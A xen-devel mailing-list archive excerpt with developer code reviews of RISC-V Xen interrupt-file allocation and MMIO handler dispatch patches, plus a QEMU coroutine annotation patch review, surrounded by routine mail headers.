> This is a good question, and it requires a separate investigation to 
> determine whether such an approach would actually be beneficial. It 
> would require not only changing the VGEIN field in vcpu->hstatus, but 
> also synchronizing at least the pending interrupts from one IMSIC 
> interrupt file to another, which would also consume time and further 
> complicate the logic.
> 
> If find_next_zero_bit() fails, the vCPU will simply receive VGEIN=0, 
> which means that the software interrupt file will be used. Therefore, 
> everything should continue to work correctly, although it will be slower 
> than using a hardware interrupt file.

Plus there may end up being subtly different behavior. Imo you want to
let the hardware do what it can do for you.

> Considering that the maximum value of GEILEN is 31 for RV32 and 63 for 
> RV64 (although there is no guarantee that an implementation will support 
> the maximum value), let's assume a GEILEN value of 31 for RV64 as well. 
> In that case, a system with 4 CPUs would cover the maximum number of 
> vCPUs supported by Xen (IIURC, it is 128).

That's a single domain. There can be many domains, totaling to far more
than 128 vCPU-s.

> Therefore, a software 
> interrupt file would not be needed at all, assuming the scheduler 
> distributes vCPUs reasonably well.
> 
> Even if GEILEN is smaller, I expect that the scheduler will migrate 
> vCPUs between pCPUs from time to time. This will free a hardware IMSIC 
> interrupt file slot on the previous pCPU, allowing another vCPU to 
> obtain a hardware IMSIC interrupt file slot.
> 
> For now, I would prefer to keep the current VGEIN allocation strategy as 
> it is definitely easier for implementation at least and consider your 
> suggestion of releasing another vCPU's VGEIN as a potential 
> optimization. I think this optimization should first be evaluated 
> through measurements and experiments.

Well, I'm not going to insist, but I expect this will need re-doing rather
sooner than later then.

>> Yet then I continue to question the presence of this array in the first place.
>> Something similar isn't needed elsewhere (afaik), and its intended use (as
>> said) doesn't become obvious here.
> 
> I can drop it for now and reintroduce it later when it is actually 
> needed. In short, it is intended to be used in hgei_interrupt(), as I 
> described above, in the following way (inside the for-loop):
> 
> ...
> for_each_set_bit(vs_guest_file_id, hgei_mask)
> {
> unsigned int owners_index = vs_guest_file_id /* - 1 */;
> 
> ```
> if ( vgein_->owners[owners_index] )
> {
>      dprintk("kick ->%pv, hgei_mask(%#lx)\n",
>              vgein_->owners[owners_index], hgei_mask);
> 
>      vcpu_kick(vgein_->owners[owners_index]);
> }
> ```
> 
> }
> ...
> 
> Alternatively, I could introduce this in this series, since it will be 
> necessary to set the HGEIE bit in imsic_state_save() anyway to allow the 
> vCPU to be woken up. It also seems like the best option, as it addresses 
> at least some of the comments you raised.

Right, and then preferably in an order where one won't need to peek ahead
in the series to actually understand what's going on.

>>>>> +unsigned int vgein_assign(struct vcpu *v)
>>>>> +{
>>>>> +    unsigned int vgein_id;
>>>>> +    struct vgein_ctrl *vgein = &per_cpu(vgein, v->processor);
>>>>> +    unsigned long *bmp = &vgein->bmp;
>>>>> +    unsigned long flags;
>>>>> +
>>>>> +    if ( !vgein->geilen )
>>>>> +        return 0;
>>>>> +
>>>>> +    spin_lock_irqsave(&vgein->lock, flags);
>>>>
>>>> Because it's unclear where this is to be called from, it's also unclear whether
>>>> a lock is needed here (and if so whether a plain spin lock is appropriate).
>>>
>>> Based on what I wrote in [A] above a lock is defintely needed as it
>>> could be that vgein_release() is called for old pCPU during migration
>>> and at the same time old pCPU could call vgein_assign() so we want to
>>> keep vgein bitmap consistent.
>>
>> Can this really happen? It almost sounds as if you were suspecting
>> context-switch-in could race with context-switch-out. Yet again - none of
>> this can sensibly be discussed without seeing how / where the functions are
>> to be used.
> 
> Maybe I didn't explain it clearly, but during migration (which, 
> according to my understanding of vcpu_move_irqs(), is executed on 
> pCPU1), when vCPU0 is migrated from pCPU0 to pCPU1, its old VGEIN on 
> pCPU0 needs to be released. I don't see any reason why, at the same 
> time, pCPU0 could not try to assign that VGEIN to another vCPU. Without 
> proper protection, this could lead to race conditions.

Doesn't migration of vCPU-s between pCPU-s happen under suitable scheduler
locks?

> Also, setting a bit in the VGEIN bitmap and updating the owner array 
> should be an atomic operation, at least to correctly handle the 
> hgei_interrupt() case mentioned above and vCPU migration, which calls 
> vgein_release(...,old_pcpu,...).
> 
> I agree that it would probably be easier if the migration patches were 
> included in this patch series as well. I can either post those patches 
> to this thread now or include them in the v2 series when it is ready. 
> What do you think?

Including in v2 may be helpful, again to eliminate gaps in the understanding
a reader like me needs to have.

Jan


From xen-devel-bounces@lists.xenproject.org Thu Jul 30 16:09:17 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 30 Jul 2026 16:09:17 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1378126.1623734 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wpTJf-00069V-Q3; Thu, 30 Jul 2026 16:09:03 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1378126.1623734; Thu, 30 Jul 2026 16:09:03 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wpTJf-00069O-MH; Thu, 30 Jul 2026 16:09:03 +0000
Received: by outflank-mailman (input) for mailman id 1378126;
 Thu, 30 Jul 2026 16:09:02 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <stefanha@redhat.com>) id 1wpTJe-00069I-CC
 for xen-devel@lists.xenproject.org; Thu, 30 Jul 2026 16:09:02 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wpTJd-0040M6-Lb
 for xen-devel@lists.xenproject.org; Thu, 30 Jul 2026 18:09:01 +0200
Received: from [10.42.69.8] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <stefanha@redhat.com>)
 id 6a6b7708-e002-0a2a0a5209dd-0a2a4508bcdc-28
 for <xen-devel@lists.xenproject.org>; Thu, 30 Jul 2026 18:09:01 +0200
Received: from [170.10.133.124] (helo=us-smtp-delivery-124.mimecast.com)
 by tlsNG-c1860d.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <stefanha@redhat.com>)
 id 6a6b771c-f659-0a2a45080019-aa0a857c898d-3
 for <xen-devel@lists.xenproject.org>; Thu, 30 Jul 2026 18:09:01 +0200
Received: from mx-prod-mc-05.mail-002.prod.us-west-2.aws.redhat.com
 (ec2-54-186-198-63.us-west-2.compute.amazonaws.com [54.186.198.63]) by
 relay.mimecast.com with ESMTP with STARTTLS (version=TLSv1.3,
 cipher=TLS_AES_256_GCM_SHA384) id us-mta-20-0ZkvAFqSNH61vdvzDvY8hQ-1; Thu,
 30 Jul 2026 12:08:56 -0400
Received: from mx-prod-int-01.mail-002.prod.us-west-2.aws.redhat.com
 (mx-prod-int-01.mail-002.prod.us-west-2.aws.redhat.com [10.30.177.4])
 (using TLSv1.3 with cipher TLS_AES_256_GCM_SHA384 (256/256 bits)
 key-exchange X25519 server-signature RSA-PSS (2048 bits) server-digest SHA256)
 (No client certificate requested)
 by mx-prod-mc-05.mail-002.prod.us-west-2.aws.redhat.com (Postfix) with ESMTPS
 id 5DD001956080; Thu, 30 Jul 2026 16:08:53 +0000 (UTC)
Received: from localhost (unknown [10.2.16.178])
 by mx-prod-int-01.mail-002.prod.us-west-2.aws.redhat.com (Postfix) with ESMTP
 id 180BC30002E9; Thu, 30 Jul 2026 16:08:50 +0000 (UTC)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=mimecast20190719 header.d=redhat.com header.i="@redhat.com" header.h="From:Subject:Date:Message-ID:To:Cc:MIME-Version:Content-Type:In-Reply-To:References"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=redhat.com;
	s=mimecast20190719; t=1785427740;
	h=from:from:reply-to:subject:subject:date:date:message-id:message-id:
	 to:to:cc:cc:mime-version:mime-version:content-type:content-type:
	 in-reply-to:in-reply-to:references:references;
	bh=dsVpAu3QcfKYN17RfZrDdBsSoJyLiS2uxIUvPEK9QqU=;
	b=RjVccr9XwuXWJm7W1EP4DzedI3kf3HVtavRhvFFg8Pe2dJ5BTv+DWgt3T+5hIbn+N///KR
	bTZGLpvFj9BQ63ziWUs4++oLVvYvpBKOTY+UdzptOlTDgf80PdFeXCTXV+ytKftbMUDukp
	cMKMp1MeXcdqprn0vOgti+bX4KeB7Vc=
X-MC-Unique: 0ZkvAFqSNH61vdvzDvY8hQ-1
X-Mimecast-MFC-AGG-ID: 0ZkvAFqSNH61vdvzDvY8hQ_1785427734
Date: Thu, 30 Jul 2026 12:08:49 -0400
From: Stefan Hajnoczi <stefanha@redhat.com>
To: =?iso-8859-1?Q?Marc-Andr=E9?= Lureau <marcandre.lureau@redhat.com>
Cc: qemu-devel@nongnu.org, Markus Armbruster <armbru@redhat.com>,
	Peter Xu <peterx@redhat.com>, Fabiano Rosas <farosas@suse.de>,
	Daniel =?iso-8859-1?Q?P=2E_Berrang=E9?= <berrange@redhat.com>,
	John Snow <jsnow@redhat.com>,
	Vladimir Sementsov-Ogievskiy <vsementsov@yandex-team.ru>,
	Kevin Wolf <kwolf@redhat.com>, Hanna Reitz <hreitz@redhat.com>,
	qemu-block@nongnu.org, Fam Zheng <fam@euphon.net>,
	"Denis V. Lunev" <den@openvz.org>,
	Christian Schoenebeck <qemu_oss@crudebyte.com>,
	Greg Kurz <groug@kaod.org>, "Michael S. Tsirkin" <mst@redhat.com>,
	Stefano Stabellini <sstabellini@kernel.org>,
	Anthony PERARD <anthony@xenproject.org>,
	"Edgar E. Iglesias" <edgar.iglesias@gmail.com>,
	xen-devel@lists.xenproject.org, Li Zhijian <lizhijian@fujitsu.com>
Subject: Re: [PATCH v2 6/8] block: add missing coroutine_fn annotations
Message-ID: <20260730160849.GE1442692@fedora>
References: <20260725-co-v2-0-d3552ddb3931@redhat.com>
 <20260725-co-v2-6-d3552ddb3931@redhat.com>
MIME-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha512;
	protocol="application/pgp-signature"; boundary="g6ePFKhtStmVnIyL"
Content-Disposition: inline
In-Reply-To: <20260725-co-v2-6-d3552ddb3931@redhat.com>
X-Scanned-By: MIMEDefang 3.4.1 on 10.30.177.4
X-purgate-ID: tlsNG-c1860d/1785427741-CDD4887B-C218D267/0/0
X-purgate-type: clean
X-purgate-size: 1810

--g6ePFKhtStmVnIyL
Content-Type: text/plain; charset=iso-8859-1
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

On Sat, Jul 25, 2026 at 01:48:37PM +0400, Marc-Andr=E9 Lureau wrote:
> diff --git a/block/parallels.c b/block/parallels.c
> index 7a90fb5220b9..6f96cc4e3045 100644
> --- a/block/parallels.c
> +++ b/block/parallels.c
> @@ -142,8 +142,9 @@ static uint32_t host_cluster_index(BDRVParallelsState=
 *s, int64_t off)
>      return off / s->cluster_size;
>  }
> =20
> -static int64_t block_status(BDRVParallelsState *s, int64_t sector_num,
> -                            int nb_sectors, int *pnum)
> +static int64_t
> +block_status(BDRVParallelsState *s, int64_t sector_num,
> +             int nb_sectors, int *pnum)
>  {
>      int64_t start_off =3D -2, prev_end_off =3D -2;
> =20

This hunk looks like an accidental whitespace change? This function is
not a coroutine function.

> @@ -2126,7 +2128,8 @@ fail:
>      return ret;
>  }
> =20
> -static void qcow2_reopen_commit(BDRVReopenState *state)
> +static void
> +qcow2_reopen_commit(BDRVReopenState *state)

Whitespace change?

Looks good aside from these whitespace changes.

--g6ePFKhtStmVnIyL
Content-Type: application/pgp-signature; name=signature.asc

-----BEGIN PGP SIGNATURE-----

iQEzBAEBCgAdFiEEhpWov9P5fNqsNXdanKSrs4Grc8gFAmprdxEACgkQnKSrs4Gr
c8js3wgAnl0wOlSZnyScyNQg+Isn1t4N5afPjcm8ELinnU9anKcEJ1Sp1TkPsU9Q
NwkfxO7GkL7vXUyVnUWSUh/oNRVYEXrgxNbxGMwG1mTdM7DA/jta+ap1efLTmNbr
gK2SHM9ofCIdb1RltGF6b11gq607rjdF9dFy7vK9d3nmV6FHIqauvSiKUY5ksteR
DUsNbxgdLc6hcNNGRzhyLYBsNazRginbl9zsKTLO5lp7ovVUIqzf/QNsIOyRU3xE
wqZd8THPyZRBnkwbi/vTQjg9XBS5rm4BM/aIbYADrhLfqsX9jwHK/K5IOsK+OvuY
Xw9Th5pdJNz/Ib8OiJpSzxo4PPKiLg==
=ZGHJ
-----END PGP SIGNATURE-----

--g6ePFKhtStmVnIyL--



From xen-devel-bounces@lists.xenproject.org Thu Jul 30 16:09:17 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 30 Jul 2026 16:09:17 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1378127.1623741 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wpTJi-0006MO-W6; Thu, 30 Jul 2026 16:09:06 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1378127.1623741; Thu, 30 Jul 2026 16:09:06 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wpTJi-0006MH-T3; Thu, 30 Jul 2026 16:09:06 +0000
Received: by outflank-mailman (input) for mailman id 1378127;
 Thu, 30 Jul 2026 16:09:05 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jbeulich@suse.com>) id 1wpTJh-0006Lw-BD
 for xen-devel@lists.xenproject.org; Thu, 30 Jul 2026 16:09:05 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wpTJg-003lYY-OM
 for xen-devel@lists.xenproject.org; Thu, 30 Jul 2026 18:09:04 +0200
Received: from [10.42.69.2] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a6b7720-5cb7-0a2a0a5109dd-0a2a4502ac54-0
 for <xen-devel@lists.xenproject.org>; Thu, 30 Jul 2026 18:09:04 +0200
Received: from [209.85.221.53] (helo=mail-wr1-f53.google.com)
 by tlsNG-720697.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a6b7720-6ca4-0a2a45020019-d155dd35c990-3
 for <xen-devel@lists.xenproject.org>; Thu, 30 Jul 2026 18:09:04 +0200
Received: by mail-wr1-f53.google.com with SMTP id
 ffacd0b85a97d-47f7854678bso1265290f8f.3
 for <xen-devel@lists.xenproject.org>; Thu, 30 Jul 2026 09:09:04 -0700 (PDT)
Received: from [10.156.60.236] (ip-037-024-206-209.um08.pools.vodafone-ip.de.
 [37.24.206.209]) by smtp.gmail.com with ESMTPSA id
 5b1f17b1804b1-498010bb0e7sm67328605e9.15.2026.07.30.09.09.01
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Thu, 30 Jul 2026 09:09:02 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Transfer-Encoding:Content-Type:In-Reply-To:Autocrypt:From:Content-Language:References:Cc:To:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1785427744; x=1786032544; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=AWBREpjFVk4IdNkIwzlOFP7bMUSzA1Sx2XbrpIt0xgA=;
        b=ELJVsvF8WuYaIWCp+MaG2YUksz/CXv/04HaRsmqsU9WriIVhpa3byoVYxtauwsmiiw
         0h7kDL1h6Ll6e1ma4JfBzfEPdxXHYIMzYbYtPXHM4LjKo5HKqJIdBcJ1tzwkybYEuMBD
         eyv8fZixPLu5rArsFUXyoqn4KJnKR70GazFxxspnvGYl5MtV+5q8xuZXbphk6qhabFSk
         MsKHfCRLo/N3HdRwjja655jkx9TtmWGruC0s63xuk/Cxr8LmL0RRB9v20XwWfgocWxnr
         9Fhv/ZwwQgMYSZzVn2WseB6qG1Idw1ed53wVBAbngKoCMowjr/rbpdVSlZBE16JwuLBg
         f6NQ==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1785427744; x=1786032544;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:x-gm-gg:x-gm-message-state:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=AWBREpjFVk4IdNkIwzlOFP7bMUSzA1Sx2XbrpIt0xgA=;
        b=sdenNBrKlPDM8n7EQod3g1XIYQ0QadLgaqbQDWxA0VLXxNiWgJaefa1GEK3JEDcyny
         Utow0+Wy3WpPm/BHadg6riaHBVOucQutjIWhFEY8HsLmma8Ut9hXL4axxSCQiITyk0IS
         8RUqbrJFEgFuXXGqq4chOYh+2IHS6UqbCtgHtdUJaROGUH+LtPPjb9NeAu225h75hdjO
         8I2FL95DphznTy8NpLNcyF6ifCKOeptD5vsx865WFInRDTDrJXWma7XeqjsaiQfraxO8
         E7xyGYGUPSzEhiwqac093UjERn8igS4vdbTDS6jtFmqZmR3IYIrq+BitHi9vkay91H9O
         SklA==
X-Forwarded-Encrypted: i=1; AHgh+Ro63n0jx4lap9qDyEbvXzBUpTi2fiiyo+UN7f0USuooaTs9+7RQOCNPsdqfLasbD0UqIxUiRR2pT/c=@lists.xenproject.org
X-Gm-Message-State: AOJu0YwVoK2qIdfANj03kaWNrkprkKgkRWzR9doGgapSX7W3FsBMvNie
	lfHF4D9WF6awiyXjcAPLOYyfe0WwEOX/RqZR/zVNYkZMeIpXbt/i54EVJyslkCs42Q==
X-Gm-Gg: AR+sD10WhfCadkPIhaIktUGW2nzq/Soo9YQLEeRFIDyrFobUOoC825o4ZVlV/5hSKrD
	8MybSz+omz25Q0DPPTSUv9kbXTB4cWXNQ/LuhlUWATwqk2z2n8bqYH1Ko8pRUuucqfvOEIPdm9b
	9eyfQYX+PyhbUqA+dBvq4XWQcvOJMbM5lqhtnv1zybN7k3Xhx9bIgVV7dPiOdE54v9ghFeSxBJV
	F0oG6pUFlhgrlkr7WqDnDi8/HQnLHtd+TUu1CX4EuYYSgXNZjIiH9ZvfSacvmlQqq5YWDCX1CAo
	ie2kzFOHL+r8N4nWtyh8TL443eCiNiAbIKzOsuyPO5Qhw7fNmo/jbZbcUi7nBFTWUrg2NCuMf6u
	Iz7MSiFZs1GnplykDz79c+ZfpsTxj6HH2//WBMBKnPlG1i7qfgovp5ENEn4kBEBe5Aa2iCdJVd2
	vqOB3sXJ0TKZyArihyaSjxFKq7vxv3BQqMTcTsF1Bm+wbKLLCSaG1YFRCDiG8ZlKY++yL/VTsNC
	E/4pglQcyXokgmTZJDw9WxRds2NY30XEtOxZu9sMHTdF+swyqej
X-Received: by 2002:a05:600c:1911:b0:495:443b:1bbb with SMTP id 5b1f17b1804b1-49800ea0a90mr42802015e9.25.1785427744020;
        Thu, 30 Jul 2026 09:09:04 -0700 (PDT)
Message-ID: <2ef6b295-862b-40be-a7d2-c94a6378126b@suse.com>
Date: Thu, 30 Jul 2026 18:09:01 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH v1 04/17] xen/riscv: introduce device-agnostic MMIO
 emulation dispatch
To: Oleksii Kurochko <oleksii.kurochko@gmail.com>
Cc: Romain Caritey <Romain.Caritey@microchip.com>,
 Baptiste Le Duc <baptiste.le-duc@vates.tech>,
 Alistair Francis <alistair.francis@wdc.com>,
 Connor Davis <connojdavis@gmail.com>,
 Andrew Cooper <andrew.cooper3@citrix.com>,
 Anthony PERARD <anthony.perard@vates.tech>,
 Michal Orzel <michal.orzel@amd.com>, Julien Grall <julien@xen.org>,
 =?UTF-8?Q?Roger_Pau_Monn=C3=A9?= <roger@xenproject.org>,
 Stefano Stabellini <sstabellini@kernel.org>, xen-devel@lists.xenproject.org
References: <cover.1784560663.git.oleksii.kurochko@gmail.com>
 <c12b69710d7b79bfc0c110f3fa043d871d8b8394.1784560663.git.oleksii.kurochko@gmail.com>
 <704870c1-18ec-4c7b-873c-e07e77ae0d39@suse.com>
 <d5867843-802d-493f-a535-1f40d9337b63@gmail.com>
Content-Language: en-US
From: Jan Beulich <jbeulich@suse.com>
Autocrypt: addr=jbeulich@suse.com; keydata=
 xsDiBFk3nEQRBADAEaSw6zC/EJkiwGPXbWtPxl2xCdSoeepS07jW8UgcHNurfHvUzogEq5xk
 hu507c3BarVjyWCJOylMNR98Yd8VqD9UfmX0Hb8/BrA+Hl6/DB/eqGptrf4BSRwcZQM32aZK
 7Pj2XbGWIUrZrd70x1eAP9QE3P79Y2oLrsCgbZJfEwCgvz9JjGmQqQkRiTVzlZVCJYcyGGsD
 /0tbFCzD2h20ahe8rC1gbb3K3qk+LpBtvjBu1RY9drYk0NymiG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Rbg3M/+MTbMpicpZuqF4rnB0AQD12/3BNWDR6bmh+EkYSMcEIpQmBM51qM
 EKYTQGybRCjpnKHGOxG0rfFY1085mBDZCH5Kx0cl0HVJuQKC+dV2ZY5AqjcKwAxpE75MLFkr
 wkkEGBECAAkFAlk3nEQCGwwACgkQoDSui/t3IH7nnwCfcJWUDUFKdCsBH/E5d+0ZnMQi+G0A
 nAuWpQkjM1ASeQwSHEeAWPgskBQL
In-Reply-To: <d5867843-802d-493f-a535-1f40d9337b63@gmail.com>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-720697/1785427744-F0CA22AC-C4428332/0/0
X-purgate-type: clean
X-purgate-size: 3890

On 30.07.2026 18:03, Oleksii Kurochko wrote:
> On 7/28/26 2:23 PM, Jan Beulich wrote:
>> On 20.07.2026 18:02, Oleksii Kurochko wrote:
>>> --- /dev/null
>>> +++ b/xen/arch/riscv/mmio.c
>>> @@ -0,0 +1,145 @@
>>> +/* SPDX-License-Identifier: GPL-2.0-or-later */
>>> +/*
>>> + * Copyright (C) Vates
>>> + */
>>> +
>>> +#include <xen/bsearch.h>
>>> +#include <xen/lib.h>
>>> +#include <xen/rwlock.h>
>>> +#include <xen/sched.h>
>>> +#include <xen/sort.h>
>>> +#include <xen/xvmalloc.h>
>>> +
>>> +#include <asm/current.h>
>>> +#include <asm/mmio.h>
>>> +
>>> +static enum io_state handle_read(const struct mmio_handler *handler,
>>> +                                 struct vcpu *v,
>>> +                                 mmio_info_t *info)
>>> +{
>>> +    register_t r = 0;
>>> +    enum io_state rc;
>>> +
>>> +    rc = handler->ops->read(v, info, &r);
>>> +    if ( rc == IO_HANDLED )
>>> +        info->data = r;
>>
>> Extending my earlier comment: Why could ->read() not put the value directly
>> into info->data? And why ...
>>
>>> +static enum io_state handle_write(const struct mmio_handler *handler,
>>> +                                  struct vcpu *v,
>>> +                                  mmio_info_t *info)
>>> +{
>>> +    return handler->ops->write(v, info, info->data);
>>
>> ... can't write take the value directly from info->data?
> 
> I totally agree, it can. Do you think it is better to keep ->data and 
> drop an argument 'r' or vice versa?

How can I know? You know future plans you have.

>>> +}
>>> +
>>> +/* Assumes mmio regions are not overlapping. */
>>
>> Are you guaranteeing this anywhere?
> 
> There is no such guarantee. register_mmio_handler() simply adds the 
> handler to the handlers array without performing any checks. I can add 
> such a check. The only question is whether it should be enabled only in 
> debug builds or in all builds.

Depends on what other badness can happen when this is violated. My gut
feeling is that checking in debug builds may be enough.

>>> +/*
>>> + * Return a copy of the matching handler rather than a pointer into
>>> + * vmmio->handlers: a concurrent register_mmio_handler() re-sorts the
>>> + * array, so an escaped pointer could refer to a different (or torn)
>>> + * entry once the lock is dropped.  The copy stays valid as the ops
>>> + * structures are never freed.
>>> + */
>>> +static bool find_mmio_handler(struct domain *d, paddr_t gpa,
>>> +                              struct mmio_handler *out)
>>> +{
>>> +    struct vmmio *vmmio = &d->arch.vmmio;
>>> +    struct mmio_handler key = { .addr = gpa };
>>> +    const struct mmio_handler *handler;
>>> +
>>> +    read_lock(&vmmio->lock);
>>> +    handler = bsearch(&key, vmmio->handlers, vmmio->num_entries,
>>> +                      sizeof(*handler), cmp_mmio_handler);
>>
>> So beyond the assumption stated further up you also assume the array to
>> be sorted. Which you ...
>>
>>> +void register_mmio_handler(struct domain *d,
>>> +                           const struct mmio_handler_ops *ops,
>>> +                           paddr_t addr, paddr_t size)
>>> +{
>>> +    struct vmmio *vmmio = &d->arch.vmmio;
>>> +    struct mmio_handler *handler;
>>> +
>>> +    write_lock(&vmmio->lock);
>>> +
>>> +    BUG_ON(vmmio->num_entries >= vmmio->max_num_entries);
>>
>> (Do we really need to crash in such a case? Can't we just fail domain
>> creation?)
> 
> Generally, no. However, the approach used by Arm's dom0less solution is 
> to crash as soon as any issue occurs instead of trying to continue 
> running other domains, so I follow the same approach for RISC-V.
> 
> Even if I return an error here, the common dom0less code will panic anyway.

That's the policy there, but you're writing code here also for the case where
Dom0 creates domains.

Jan


From xen-devel-bounces@lists.xenproject.org Thu Jul 30 16:24:20 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 30 Jul 2026 16:24:20 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1378189.1623763 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wpTYK-0002EJ-En; Thu, 30 Jul 2026 16:24:12 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1378189.1623763; Thu, 30 Jul 2026 16:24:12 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wpTYK-0002EC-BS; Thu, 30 Jul 2026 16:24:12 +0000
Received: by outflank-mailman (input) for mailman id 1378189;
 Thu, 30 Jul 2026 16:24:11 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <dfaggioli@suse.com>) id 1wpTYJ-0002E6-Ai
 for xen-devel@lists.xenproject.org; Thu, 30 Jul 2026 16:24:11 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wpTYI-003nqn-Np
 for xen-devel@lists.xenproject.org; Thu, 30 Jul 2026 18:24:10 +0200
Received: from [10.42.69.7] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <dfaggioli@suse.com>)
 id 6a6b7aa5-e002-0a2a0a5209dd-0a2a4507d668-10
 for <xen-devel@lists.xenproject.org>; Thu, 30 Jul 2026 18:24:10 +0200
Received: from [195.135.223.130] (helo=smtp-out1.suse.de)
 by tlsNG-ef75cf.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <dfaggioli@suse.com>)
 id 6a6b7aaa-b4ea-0a2a45070019-c387df829dbe-3
 for <xen-devel@lists.xenproject.org>; Thu, 30 Jul 2026 18:24:10 +0200
Received: from imap1.dmz-prg2.suse.org (unknown [10.150.64.97])
 (using TLSv1.3 with cipher TLS_AES_256_GCM_SHA384 (256/256 bits)
 key-exchange X25519 server-signature RSA-PSS (4096 bits) server-digest SHA256)
 (No client certificate requested)
 by smtp-out1.suse.de (Postfix) with ESMTPS id F1CA97D44E;
 Thu, 30 Jul 2026 16:24:01 +0000 (UTC)
Received: from imap1.dmz-prg2.suse.org (localhost [127.0.0.1])
 (using TLSv1.3 with cipher TLS_AES_256_GCM_SHA384 (256/256 bits)
 key-exchange X25519 server-signature RSA-PSS (4096 bits) server-digest SHA256)
 (No client certificate requested)
 by imap1.dmz-prg2.suse.org (Postfix) with ESMTPS id 7157A779CC;
 Thu, 30 Jul 2026 16:24:01 +0000 (UTC)
Received: from dovecot-director2.suse.de ([2a07:de40:b281:106:10:150:64:167])
 by imap1.dmz-prg2.suse.org with ESMTPSA id CxAmGaF6a2qGEgAAD6G6ig
 (envelope-from <dfaggioli@suse.com>); Thu, 30 Jul 2026 16:24:01 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
